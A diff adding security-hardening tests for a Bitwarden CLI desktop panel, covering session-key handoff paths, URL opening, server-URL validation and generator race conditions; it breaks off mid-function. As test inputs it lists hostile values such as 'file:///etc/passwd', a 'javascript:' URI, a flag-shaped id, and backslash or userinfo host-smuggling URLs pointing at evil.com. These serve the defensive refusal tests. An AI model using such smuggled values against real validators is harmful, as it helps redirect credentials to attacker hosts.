onGeneratorScreen: false })
|
||||
check("a shutdown we asked for is not a bind failure",
|
||||
stopped.giveUp === false && stopped.dropValue === false && stopped.useCli === false,
|
||||
JSON.stringify(stopped))
|
||||
|
||||
// Our bind failing is what a squatted port looks like from here, so a value the
|
||||
// ready-poll already accepted cannot be left on screen to be copied.
|
||||
const stranded = Model.generatorServeExitAction({ stopping: false, wasReady: true, busy: false,
|
||||
onGeneratorScreen: true })
|
||||
check("a value delivered before our server died is dropped, not left to be copied",
|
||||
stranded.dropValue === true && stranded.giveUp === true && stranded.useCli === true,
|
||||
JSON.stringify(stranded))
|
||||
|
||||
const neverBound = Model.generatorServeExitAction({ stopping: false, wasReady: false, busy: true,
|
||||
onGeneratorScreen: true })
|
||||
check("a server that never bound gives up the port and falls back to the CLI",
|
||||
neverBound.giveUp === true && neverBound.dropValue === false && neverBound.useCli === true,
|
||||
JSON.stringify(neverBound))
|
||||
|
||||
const offScreen = Model.generatorServeExitAction({ stopping: false, wasReady: true, busy: false,
|
||||
onGeneratorScreen: false })
|
||||
check("nothing is regenerated for a screen the user has already left",
|
||||
offScreen.useCli === false && offScreen.dropValue === true, JSON.stringify(offScreen))
|
||||
|
||||
const idle = Model.generatorServeExitAction({ stopping: false, wasReady: false, busy: false,
|
||||
onGeneratorScreen: true })
|
||||
check("an idle failure gives up the port without generating anything",
|
||||
idle.giveUp === true && idle.useCli === false, JSON.stringify(idle))
|
||||
|
||||
// A process already answering an older option set must not have its callback
|
||||
// relabelled as the newest request. Queue one regeneration and discard the old
|
||||
// result; the follow-up reads the latest root.genOpts.
|
||||
const regenerate = bodyOf("regenerate")
|
||||
const generated = bodyOf("onGenerated")
|
||||
check("rapid option changes queue behind the active generator operation",
|
||||
/if\s*\(genBusy\)[\s\S]*genRegeneratePending\s*=\s*true/.test(regenerate), regenerate)
|
||||
check("a queued regeneration discards the old value before rerunning",
|
||||
/genRegeneratePending[\s\S]*regenerate\(\)/.test(generated)
|
||||
&& generated.indexOf("genRegeneratePending") < generated.indexOf("genValue = v"),
|
||||
generated)
|
||||
check("a value from the previous option set cannot be copied while regeneration is busy",
|
||||
/if\s*\(genBusy\s*\|\|\s*!genValue\)\s*return/.test(bodyOf("copyGenerated"))
|
||||
&& /if\s*\(!generatorFeedsForm\s*\|\|\s*genBusy\s*\|\|\s*!genValue\)\s*return/.test(bodyOf("useGeneratedPassword"))
|
||||
&& /enabled:\s*!root\.genBusy\s*&&\s*root\.genValue\s*!==\s*""/.test(panelSrc),
|
||||
bodyOf("copyGenerated") + "\n" + bodyOf("useGeneratedPassword"))
|
||||
|
||||
const stopGenerator = bodyOf("stopGeneratorServe")
|
||||
check("canceling an in-flight generator request cannot leave generation wedged busy",
|
||||
/genBusy\s*=\s*false/.test(stopGenerator)
|
||||
&& /genRegeneratePending\s*=\s*false/.test(stopGenerator)
|
||||
&& /genRequestSignature\s*=\s*""/.test(stopGenerator),
|
||||
stopGenerator)
|
||||
check("leaving during CLI fallback cancels the late result instead of restarting off-screen",
|
||||
/cancelCliGeneration\s*=\s*genBusy\s*&&\s*generateProc\.running/.test(stopGenerator)
|
||||
&& /generateCliStopping\s*=\s*true[\s\S]*generateProc\.running\s*=\s*false/.test(stopGenerator),
|
||||
stopGenerator)
|
||||
const generateProcBlock = panelSrc.slice(panelSrc.indexOf("id: generateProc"),
|
||||
panelSrc.indexOf("id: generateServeProc"))
|
||||
check("a canceled CLI result is discarded and a quick reopen restarts only after exit",
|
||||
/if\s*\(generateCliStopping\)[\s\S]*genRegeneratePending\s*=\s*true[\s\S]*return/.test(regenerate)
|
||||
&& /generateCliStopping[\s\S]*currentScreen\s*===\s*"generator"[\s\S]*Qt\.callLater\(root\.regenerate\)[\s\S]*return/.test(generateProcBlock),
|
||||
regenerate + "\n" + generateProcBlock)
|
||||
const serveRequest = bodyOf("generatorRequest")
|
||||
const resumeServeRequest = bodyOf("resumePendingGeneratorRequest")
|
||||
const serveRequestProcBlock = panelSrc.slice(panelSrc.indexOf("id: generateServeRequestProc"),
|
||||
panelSrc.indexOf("id: generateServePoll"))
|
||||
check("a quick reopen cannot attach a new callback to the request being canceled",
|
||||
/generateServeRequestStopping\s*\|\|\s*generateServeRequestProc\.running/.test(serveRequest)
|
||||
&& /generateServeRequestPendingCallback\s*=\s*done/.test(serveRequest)
|
||||
&& /generateServeRequestStopping\s*=\s*true[\s\S]*generateServeRequestProc\.running\s*=\s*false/.test(stopGenerator)
|
||||
&& /resumePendingGeneratorRequest\(\)[\s\S]*return/.test(serveRequestProcBlock),
|
||||
serveRequest + "\n" + stopGenerator + "\n" + serveRequestProcBlock)
|
||||
check("a deferred generator request restarts only if the generator is still open",
|
||||
/root\.opened\s*&&\s*root\.currentScreen\s*===\s*"generator"[\s\S]*generatorRequest\(pendingOptions,\s*pendingCallback\)/.test(
|
||||
resumeServeRequest),
|
||||
resumeServeRequest)
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,152 @@
|
||||
#!/usr/bin/env node
|
||||
// Two places where data the panel did not write reaches the system: the
|
||||
// session-handoff file path, and a vault item's URI on its way to xdg-open.
|
||||
//
|
||||
// node tests/handoff-urls.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const { execFileSync } = require("child_process")
|
||||
const os = require("os")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.terminalLoginCommand = terminalLoginCommand
|
||||
exports.sessionHandoffReadCommand = sessionHandoffReadCommand
|
||||
exports.normalizeOpenableUrl = normalizeOpenableUrl
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// --- the session handoff file never falls back to a shared directory --------
|
||||
// The key is written by a terminal and read by the panel. A world-writable
|
||||
// fallback would let another user pre-create the directory and collect it.
|
||||
|
||||
const login = Model.terminalLoginCommand("login")[2]
|
||||
const unlock = Model.terminalLoginCommand("unlock")[2]
|
||||
const read = Model.sessionHandoffReadCommand(true)[2]
|
||||
|
||||
for (const [label, script] of [["terminal login", login], ["terminal unlock", unlock], ["handoff read", read]]) {
|
||||
check(`${label} never falls back to /tmp`, !script.includes("/tmp"), script)
|
||||
check(`${label} puts the key under XDG_RUNTIME_DIR`, script.includes("XDG_RUNTIME_DIR"), script)
|
||||
}
|
||||
|
||||
check("the write side refuses to run without a runtime dir, rather than defaulting",
|
||||
/XDG_RUNTIME_DIR:\?/.test(login), login)
|
||||
check("mkdir and chmod are both checked, so a directory that is not ours aborts",
|
||||
login.includes('mkdir -p "$d" || exit 1') && login.includes('chmod 700 "$d" || exit 1'), login)
|
||||
check("the write side refuses a symlinked handoff directory",
|
||||
login.includes('[ ! -L "$d" ]'), login)
|
||||
check("umask is set before the directory is created, not after",
|
||||
login.indexOf("umask 077") < login.indexOf("mkdir"), login)
|
||||
check("the read side exits quietly instead, since it runs on every refresh",
|
||||
read.includes('[ -n "$d" ] || exit 0') && !/XDG_RUNTIME_DIR:\?/.test(read), read)
|
||||
check("the read side never follows a symlinked directory or handoff file",
|
||||
read.includes('[ ! -L "$d" ]') && read.includes('[ ! -L "$f" ]'), read)
|
||||
|
||||
// Actually run the two scripts to prove the behaviour, with `bw` stubbed.
|
||||
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-handoff-"))
|
||||
const bin = path.join(tmp, "bin")
|
||||
fs.mkdirSync(bin)
|
||||
fs.writeFileSync(path.join(bin, "bw"), "#!/usr/bin/env bash\necho STUBSESSIONKEY\n", { mode: 0o755 })
|
||||
|
||||
const runInner = (script, env) => {
|
||||
try {
|
||||
// stderr is swallowed: the no-runtime-dir case is *meant* to complain there.
|
||||
return { out: execFileSync("bash", ["-c", script], { env, encoding: "utf8", stdio: ["ignore", "pipe", "ignore"] }).trim(), code: 0 }
|
||||
} catch (e) {
|
||||
return { out: String(e.stdout || "").trim(), code: e.status }
|
||||
}
|
||||
}
|
||||
|
||||
const noRuntime = { PATH: bin + ":" + process.env.PATH, HOME: tmp }
|
||||
const withRuntime = { ...noRuntime, XDG_RUNTIME_DIR: tmp }
|
||||
|
||||
// The inner script is what the terminal runs; pull it out of the quoted wrapper.
|
||||
const innerLogin = login.match(/omarchy launch terminal -e bash -c '(.*)' \|\| alacritty/)[1].replace(/'\\''/g, "'")
|
||||
|
||||
const denied = runInner(innerLogin, noRuntime)
|
||||
check("with no runtime dir the login script exits non-zero and writes no key",
|
||||
denied.code !== 0 && !fs.existsSync(path.join(tmp, "qs-bitwarden-cli", "session-handoff")),
|
||||
`exit ${denied.code}`)
|
||||
|
||||
const readNoRuntime = runInner(read, noRuntime)
|
||||
check("with no runtime dir the read is silent and successful",
|
||||
readNoRuntime.code === 0 && readNoRuntime.out === "", JSON.stringify(readNoRuntime))
|
||||
|
||||
// A pre-existing symlink must not redirect either side to a persistent or
|
||||
// less-protected directory. XDG_RUNTIME_DIR is private, but refusing the
|
||||
// redirect also makes a stale/misconfigured runtime fail closed.
|
||||
const handoffDir = path.join(tmp, "qs-bitwarden-cli")
|
||||
const redirectedDir = path.join(tmp, "redirected")
|
||||
fs.mkdirSync(redirectedDir)
|
||||
fs.symlinkSync(redirectedDir, handoffDir)
|
||||
const symlinkWrite = runInner(innerLogin.replace(/omarchy-shell[^;]*;/, "true;").replace(/read -p[^;]*;?/, ""), withRuntime)
|
||||
check("a symlinked handoff directory makes terminal login fail closed",
|
||||
symlinkWrite.code !== 0 && !fs.existsSync(path.join(redirectedDir, "session-handoff")),
|
||||
`exit ${symlinkWrite.code}`)
|
||||
fs.writeFileSync(path.join(redirectedDir, "session-handoff"), "REDIRECTED")
|
||||
const symlinkRead = runInner(read, withRuntime)
|
||||
check("the panel does not read through a symlinked handoff directory",
|
||||
symlinkRead.out === "", JSON.stringify(symlinkRead))
|
||||
fs.unlinkSync(handoffDir)
|
||||
|
||||
// With a runtime dir, the round trip works and the directory is private.
|
||||
fs.mkdirSync(path.join(tmp, "qs-bitwarden-cli"), { recursive: true, mode: 0o755 })
|
||||
runInner(innerLogin.replace(/omarchy-shell[^;]*;/, "true;").replace(/read -p[^;]*;?/, ""), withRuntime)
|
||||
check("the handoff directory ends up private to the user",
|
||||
(fs.statSync(handoffDir).mode & 0o777) === 0o700,
|
||||
"0" + (fs.statSync(handoffDir).mode & 0o777).toString(8))
|
||||
|
||||
const roundTrip = runInner(read, withRuntime)
|
||||
check("the panel reads the key back", roundTrip.out === "STUBSESSIONKEY", JSON.stringify(roundTrip))
|
||||
const secondRead = runInner(read, withRuntime)
|
||||
check("and the key is consumed, so a second read gets nothing",
|
||||
secondRead.out === "", JSON.stringify(secondRead))
|
||||
|
||||
fs.rmSync(tmp, { recursive: true, force: true })
|
||||
|
||||
// --- only web links are handed to xdg-open ----------------------------------
|
||||
// A vault item's URI is data, and an org-shared item can be written by others.
|
||||
|
||||
const opens = (u) => Model.normalizeOpenableUrl(u)
|
||||
|
||||
for (const [input, expected] of [
|
||||
["https://example.com", "https://example.com"],
|
||||
["http://example.com/login", "http://example.com/login"],
|
||||
["HTTPS://Example.COM", "HTTPS://Example.COM"],
|
||||
["example.com", "https://example.com"],
|
||||
["example.com:8443/login", "https://example.com:8443/login"],
|
||||
["localhost:3000", "https://localhost:3000"],
|
||||
["192.168.1.10:8006", "https://192.168.1.10:8006"]
|
||||
]) {
|
||||
const r = opens(input)
|
||||
check(`${input} opens as ${expected}`, r.ok && r.url === expected, JSON.stringify(r))
|
||||
}
|
||||
|
||||
for (const [input, scheme] of [
|
||||
["file:///etc/passwd", "file"],
|
||||
["ftp://files.example.com", "ftp"],
|
||||
["javascript:alert(1)", "javascript"],
|
||||
["data:text/html,<script>x</script>", "data"],
|
||||
["mailto:someone@example.com", "mailto"],
|
||||
["vnc://10.0.0.1", "vnc"],
|
||||
["custom-app-handler://do-something", "custom-app-handler"]
|
||||
]) {
|
||||
const r = opens(input)
|
||||
check(`${input} is refused`, !r.ok && r.scheme === scheme, JSON.stringify(r))
|
||||
}
|
||||
|
||||
check("an empty URI is refused without naming a scheme",
|
||||
!opens("").ok && opens("").scheme === "", JSON.stringify(opens("")))
|
||||
check("whitespace is trimmed rather than https-ified",
|
||||
opens(" https://example.com ").url === "https://example.com", JSON.stringify(opens(" https://example.com ")))
|
||||
check("an ambiguous backslash web URL is refused instead of parsed differently by the browser",
|
||||
!opens("https://evil.example\\@trusted.example").ok
|
||||
&& opens("https://evil.example\\@trusted.example").reason === "ambiguous",
|
||||
JSON.stringify(opens("https://evil.example\\@trusted.example")))
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,241 @@
|
||||
#!/usr/bin/env node
|
||||
// Tests for three boundaries that had drifted or were never drawn.
|
||||
//
|
||||
// node tests/hardening.test.js
|
||||
//
|
||||
// 1. Every bw invocation that takes a server-chosen id ends its options with
|
||||
// `--`. Quoting an id defends against the shell, not against bw's own
|
||||
// option parser -- a quoted `--help` is still `--help` by the time bw
|
||||
// sees it.
|
||||
// 2. The custom-server field is where the master password is about to be
|
||||
// sent, so it may not name a plaintext http host off this machine.
|
||||
// 3. The learned-suggestion store is account data with no expiry of its own,
|
||||
// so logging out has to remove it.
|
||||
|
||||
const fs = require("fs")
|
||||
const os = require("os")
|
||||
const path = require("path")
|
||||
const { execFileSync } = require("child_process")
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.getPasswordCommand = getPasswordCommand
|
||||
exports.getTotpCommand = getTotpCommand
|
||||
exports.validateServerUrl = validateServerUrl
|
||||
exports.associationsEnvVar = associationsEnvVar
|
||||
exports.associationsReadCommand = associationsReadCommand
|
||||
exports.associationsWriteCommand = associationsWriteCommand
|
||||
exports.associationsClearCommand = associationsClearCommand
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// 1. `--` before a server-chosen id
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const HOSTILE_ID = "--help"
|
||||
|
||||
for (const [label, build, verb] of [
|
||||
["password", Model.getPasswordCommand, "get password"],
|
||||
["totp", Model.getTotpCommand, "get totp"],
|
||||
]) {
|
||||
const script = build("aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee").join(" ")
|
||||
|
||||
check(`copy ${label}: ends bw's options with --`,
|
||||
script.includes(`bw ${verb} --raw -- `),
|
||||
script)
|
||||
|
||||
check(`fetch ${label}: preserves the id as one shell word`,
|
||||
script.includes("aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"),
|
||||
script)
|
||||
|
||||
check(`fetch ${label}: bounds the secret before it reaches QML`,
|
||||
script.includes("head -c"),
|
||||
script)
|
||||
|
||||
// The whole point of `--`: an id shaped like a flag stays an id.
|
||||
const hostile = build(HOSTILE_ID).join(" ")
|
||||
check(`fetch ${label}: a flag-shaped id lands after --`,
|
||||
hostile.includes(`bw ${verb} --raw -- --help`),
|
||||
hostile)
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// 2. Custom server URL
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const ACCEPTED = [
|
||||
["", "empty means the official server"],
|
||||
["https://vault.example.com", "plain https"],
|
||||
["https://vault.example.com:8443/path", "https with port and path"],
|
||||
["HTTPS://VAULT.EXAMPLE.COM", "scheme is case-insensitive"],
|
||||
["http://localhost:8080", "http to localhost"],
|
||||
["http://127.0.0.1", "http to 127.0.0.1"],
|
||||
["http://127.1.2.3:9000", "http anywhere in 127/8"],
|
||||
["http://[::1]:8000", "http to ::1"],
|
||||
[" https://vault.example.com ", "surrounding whitespace"],
|
||||
]
|
||||
|
||||
for (const [url, why] of ACCEPTED) {
|
||||
const problem = Model.validateServerUrl(url)
|
||||
check(`server URL accepts ${why}`, problem === "", `${JSON.stringify(url)} -> ${problem}`)
|
||||
}
|
||||
|
||||
const REFUSED = [
|
||||
["http://vault.example.com", "plaintext http off this machine"],
|
||||
["http://192.168.1.10", "http to a LAN address is still on a wire"],
|
||||
["ftp://vault.example.com", "a scheme bw does not speak"],
|
||||
["file:///etc/passwd", "a scheme that is not a server at all"],
|
||||
["vault.example.com", "no scheme at all"],
|
||||
["https://", "no host"],
|
||||
// Anchored, so a host that merely starts or ends with a loopback name is not
|
||||
// mistaken for one.
|
||||
["http://localhost.evil.com", "a host that only begins with localhost"],
|
||||
["http://127.0.0.1.evil.com", "a host that only begins with 127.0.0.1"],
|
||||
["http://evil.com/localhost", "loopback appearing in the path"],
|
||||
// Userinfo is stripped before the host is judged, so it cannot smuggle a
|
||||
// loopback name in front of the real destination.
|
||||
["http://localhost@evil.com", "loopback smuggled into userinfo"],
|
||||
// WHATWG URL parsers treat a backslash like a slash for http(s). Without an
|
||||
// explicit refusal, our lightweight host parser sees localhost after the @
|
||||
// while Bitwarden's Node runtime connects to evil.example before the slash.
|
||||
["http://evil.example\\@localhost", "a loopback host smuggled after a backslash"],
|
||||
["https://evil.example\\@vault.example.com", "an ambiguous HTTPS backslash destination"],
|
||||
]
|
||||
|
||||
for (const [url, why] of REFUSED) {
|
||||
const problem = Model.validateServerUrl(url)
|
||||
check(`server URL refuses ${why}`, problem !== "", JSON.stringify(url))
|
||||
}
|
||||
|
||||
check("server URL refusal names the host it refused",
|
||||
Model.validateServerUrl("http://vault.example.com").includes("vault.example.com"),
|
||||
Model.validateServerUrl("http://vault.example.com"))
|
||||
|
||||
check("server URL refusal for userinfo names the real host, not the userinfo",
|
||||
Model.validateServerUrl("http://localhost@evil.com").includes("evil.com"),
|
||||
Model.validateServerUrl("http://localhost@evil.com"))
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// 3. Logging out removes the learned-suggestion store
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const clear = Model.associationsClearCommand().join(" ")
|
||||
|
||||
check("clearing associations removes the store file",
|
||||
/\brm -f --/.test(clear) && clear.includes("associations.json"),
|
||||
clear)
|
||||
|
||||
check("clearing associations resolves the same path the writer uses",
|
||||
clear.includes("${XDG_STATE_HOME:-$HOME/.local/state}/qs-bitwarden-cli")
|
||||
&& clear.includes("associations.json"),
|
||||
clear)
|
||||
|
||||
// A missing file is the ordinary case on an account that never learned
|
||||
// anything, and it must not be reported as a failed logout.
|
||||
check("clearing associations succeeds when there is nothing to remove",
|
||||
/exit 0\s*$/.test(clear),
|
||||
clear)
|
||||
|
||||
const assocTmp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-assoc-"))
|
||||
const assocDir = path.join(assocTmp, "qs-bitwarden-cli")
|
||||
const assocFile = path.join(assocDir, "associations.json")
|
||||
const assocEnv = value => Object.assign({}, process.env, {
|
||||
XDG_STATE_HOME: assocTmp,
|
||||
[Model.associationsEnvVar()]: value,
|
||||
})
|
||||
const writeAssociations = value => execFileSync(
|
||||
Model.associationsWriteCommand()[0], Model.associationsWriteCommand().slice(1),
|
||||
{ env: assocEnv(value), encoding: "utf8" })
|
||||
|
||||
try {
|
||||
fs.mkdirSync(assocDir, { recursive: true })
|
||||
fs.writeFileSync(assocFile, "old", { mode: 0o644 })
|
||||
writeAssociations('{"version":1,"keys":{}}')
|
||||
check("association replacement narrows an existing public file to mode 600",
|
||||
(fs.statSync(assocFile).mode & 0o777) === 0o600,
|
||||
"0" + (fs.statSync(assocFile).mode & 0o777).toString(8))
|
||||
|
||||
const redirect = path.join(assocTmp, "must-not-change")
|
||||
fs.writeFileSync(redirect, "sentinel")
|
||||
fs.unlinkSync(assocFile)
|
||||
fs.symlinkSync(redirect, assocFile)
|
||||
writeAssociations('{"version":1,"keys":{"safe":[]}}')
|
||||
check("association writes replace a symlink instead of following it",
|
||||
!fs.lstatSync(assocFile).isSymbolicLink()
|
||||
&& fs.readFileSync(redirect, "utf8") === "sentinel"
|
||||
&& fs.readFileSync(assocFile, "utf8").includes('"safe"'),
|
||||
`target=${fs.readFileSync(redirect, "utf8")}`)
|
||||
check("atomic association writes leave no temporary files behind",
|
||||
fs.readdirSync(assocDir).join(",") === "associations.json",
|
||||
fs.readdirSync(assocDir).join(","))
|
||||
|
||||
fs.unlinkSync(assocFile)
|
||||
fs.writeFileSync(redirect, '{"private":"redirected"}')
|
||||
fs.symlinkSync(redirect, assocFile)
|
||||
const readThroughLink = execFileSync(
|
||||
Model.associationsReadCommand()[0], Model.associationsReadCommand().slice(1),
|
||||
{ env: assocEnv(""), encoding: "utf8" })
|
||||
check("association reads refuse a symlinked store",
|
||||
readThroughLink.trim() === "{}", JSON.stringify(readThroughLink))
|
||||
} finally {
|
||||
fs.rmSync(assocTmp, { recursive: true, force: true })
|
||||
}
|
||||
|
||||
// The panel is three QML files now -- the SSH settings sections and the
|
||||
// approval screen have their own. A check that reads only the largest one
|
||||
// silently narrows as markup moves out of it.
|
||||
const panelSrc = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml"]
|
||||
.map(file => fs.readFileSync(path.join(__dirname, "..", file), "utf8"))
|
||||
.join("\n")
|
||||
const bodyOf = name => {
|
||||
const start = panelSrc.indexOf(`function ${name}(`)
|
||||
if (start === -1) return ""
|
||||
let depth = 0
|
||||
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
|
||||
if (panelSrc[i] === "{") depth++
|
||||
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
const forget = bodyOf("forgetStoredCredentials")
|
||||
const assocWriter = panelSrc.slice(panelSrc.indexOf("id: associationsWriteProc"),
|
||||
panelSrc.indexOf("id: associationsClearProc"))
|
||||
check("logout waits for an active association writer before clearing",
|
||||
/associationsWriteProc\.running[\s\S]*associationsClearPending\s*=\s*true/.test(forget), forget)
|
||||
check("the association writer exit services a queued logout clear",
|
||||
/associationsClearPending[\s\S]*associationsClearProc\.running\s*=\s*true/.test(assocWriter), assocWriter)
|
||||
check("association updates made during a write are persisted by a follow-up write",
|
||||
/associationsWriteProc\.running[\s\S]*associationsWritePending\s*=\s*true/.test(bodyOf("saveAssociations"))
|
||||
&& /associationsWritePending[\s\S]*associationsWriteProc\.running\s*=\s*true/.test(assocWriter),
|
||||
bodyOf("saveAssociations") + "\n" + assocWriter)
|
||||
check("logout discards a queued association write before clearing account metadata",
|
||||
/associationsWritePending\s*=\s*false/.test(forget), forget)
|
||||
|
||||
const copyToClipboard = bodyOf("copyToClipboard")
|
||||
check("the long-lived clipboard owner does not inherit the copied secret variable",
|
||||
/env -u QSBW_CLIP wl-copy --sensitive/.test(copyToClipboard), copyToClipboard)
|
||||
check("locking clears any credential already on the clipboard",
|
||||
/clearClipboard\(\)/.test(bodyOf("lockVault")), bodyOf("lockVault"))
|
||||
check("a password missing from the in-memory item uses a managed generation-stamped fetch",
|
||||
/requestPasswordCopy\(item\.id,\s*item\.typeCode\)/.test(bodyOf("copyPassword"))
|
||||
&& /beginVaultRead\("passwordCopy"\)/.test(bodyOf("requestPasswordCopy"))
|
||||
&& /Model\.getPasswordCommand\(itemId,\s*typeCode\)/.test(bodyOf("requestPasswordCopy"))
|
||||
&& /vaultReadIsStale\("passwordCopy"\)/.test(bodyOf("onPasswordCopyFinished")),
|
||||
bodyOf("copyPassword") + "\n" + bodyOf("requestPasswordCopy") + "\n" + bodyOf("onPasswordCopyFinished"))
|
||||
check("TOTP copy reuses the managed TOTP reader instead of a detached bw process",
|
||||
/fetchTotp\(item\.id,\s*true\)/.test(bodyOf("copyTotpCode"))
|
||||
&& !/execDetached/.test(bodyOf("copyTotpCode")), bodyOf("copyTotpCode"))
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failure(s):\n`)
|
||||
for (const f of failures) console.error(` ${f}\n`)
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`hardening.test.js: ${pass} checks passed`)
|
||||
@@ -0,0 +1,114 @@
|
||||
#!/usr/bin/env node
|
||||
// The first post-authentication bw process is the item list. Organization and
|
||||
// folder metadata must not compete with it; they begin only after items have
|
||||
// reached the model and had an event-loop turn to paint.
|
||||
//
|
||||
// node tests/initial-load.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
|
||||
const bodyOf = name => {
|
||||
const start = panelSrc.indexOf(`function ${name}(`)
|
||||
if (start === -1) return ""
|
||||
let depth = 0
|
||||
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
|
||||
if (panelSrc[i] === "{") depth++
|
||||
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
const initial = bodyOf("beginInitialVaultLoad")
|
||||
check("initial loading starts the item list", /loadItems\(/.test(initial), initial)
|
||||
check("initial loading does not start organizations concurrently",
|
||||
!/loadOrganizations\(/.test(initial), initial)
|
||||
check("initial loading does not start folders concurrently",
|
||||
!/loadFolders\(/.test(initial), initial)
|
||||
|
||||
for (const source of ["onUnlockSuccess", "onSessionHandoff"]) {
|
||||
const body = bodyOf(source)
|
||||
check(`${source} uses the items-first entry point`, /beginInitialVaultLoad\(/.test(body), body)
|
||||
check(`${source} does not launch organization metadata directly`, !/loadOrganizations\(/.test(body), body)
|
||||
check(`${source} does not launch folder metadata directly`, !/loadFolders\(/.test(body), body)
|
||||
}
|
||||
|
||||
const listFinished = bodyOf("onListFinished")
|
||||
check("metadata deferral begins only after the item result is accepted",
|
||||
/items\s*=\s*Model\.parseSanitizedItems/.test(listFinished)
|
||||
&& !/items\s*=\s*Model\.parseItems/.test(listFinished)
|
||||
&& /deferredMetadataTimer\.restart\(\)/.test(listFinished)
|
||||
&& listFinished.indexOf("items = Model.parseSanitizedItems") < listFinished.indexOf("deferredMetadataTimer.restart()"),
|
||||
listFinished)
|
||||
|
||||
const listExited = bodyOf("onListProcessExited")
|
||||
check("item output is accepted only after the process exit status is known",
|
||||
/exitCode\s*===\s*0/.test(listExited) && /onListFinished\(/.test(listExited), listExited)
|
||||
check("a failed item refresh clears all loading and deferred-work state",
|
||||
/isLoading\s*=\s*false/.test(listExited)
|
||||
&& /isSyncing\s*=\s*false/.test(listExited)
|
||||
&& /metadataLoadPending\s*=\s*false/.test(listExited)
|
||||
&& /syncReloadPending\s*=\s*false/.test(listExited),
|
||||
listExited)
|
||||
check("a failed item refresh does not run the post-load status refresh",
|
||||
!/statusRefreshAfterItems[\s\S]{0,140}runStatusCheck\(/.test(listExited),
|
||||
listExited)
|
||||
|
||||
const timerStart = panelSrc.indexOf("id: deferredMetadataTimer")
|
||||
const timer = timerStart === -1 ? "" : panelSrc.slice(timerStart, timerStart + 700)
|
||||
check("deferred metadata loads both organizations and folders", /loadOrganizations\(/.test(timer) && /loadFolders\(/.test(timer), timer)
|
||||
check("metadata waits long enough for an item-list frame",
|
||||
/interval:\s*(?:[2-9][0-9]|[1-9][0-9]{2,})/.test(timer), timer)
|
||||
check("post-load status refresh is metadata-only",
|
||||
/runStatusCheck\(false\)/.test(timer)
|
||||
&& /function runStatusCheck\(authoritative\)/.test(panelSrc)
|
||||
&& /statusCheckAuthoritative\s*=\s*authoritative\s*!==\s*false/.test(panelSrc)
|
||||
&& /if\s*\(!authoritative\)\s*\{[\s\S]{0,220}return/.test(bodyOf("onStatusFinished")),
|
||||
bodyOf("runStatusCheck") + "\n" + bodyOf("onStatusFinished") + "\n" + timer)
|
||||
|
||||
const sync = bodyOf("onSyncFinished")
|
||||
check("a successful server sync also reloads items before metadata",
|
||||
/beginInitialVaultLoad\(/.test(sync) && !/loadOrganizations\(/.test(sync) && !/loadFolders\(/.test(sync), sync)
|
||||
|
||||
check("the empty list says when items are loading", panelSrc.includes('"Loading items..."'), "missing loading label")
|
||||
const syncButton = panelSrc.slice(panelSrc.indexOf("// Sync Vault Button"), panelSrc.indexOf("// Send Button"))
|
||||
check("the compact sync control reports progress using supported PanelActionButton properties",
|
||||
/tooltipText:\s*root\.isSyncing\s*\?\s*"Syncing\.\.\."/.test(syncButton)
|
||||
&& /enabled:\s*!root\.isSyncing/.test(syncButton)
|
||||
&& !/iconSpinning/.test(syncButton),
|
||||
syncButton)
|
||||
check("the panel header reports sync progress in text",
|
||||
/if\s*\(root\.isSyncing\)\s*return\s*"Syncing\.\.\."/.test(panelSrc),
|
||||
"missing Syncing... header state")
|
||||
|
||||
const listProcessStart = panelSrc.indexOf("id: listProc")
|
||||
const listProcess = listProcessStart === -1 ? "" : panelSrc.slice(listProcessStart, listProcessStart + 900)
|
||||
check("the item process waits for onExited instead of racing its stdout and stderr handlers",
|
||||
/onExited:[\s\S]*onListProcessExited/.test(listProcess)
|
||||
&& !/onStreamFinished:[\s\S]*onListFinished/.test(listProcess),
|
||||
listProcess)
|
||||
|
||||
const processBlock = id => {
|
||||
const idAt = panelSrc.indexOf(`id: ${id}`)
|
||||
if (idAt === -1) return ""
|
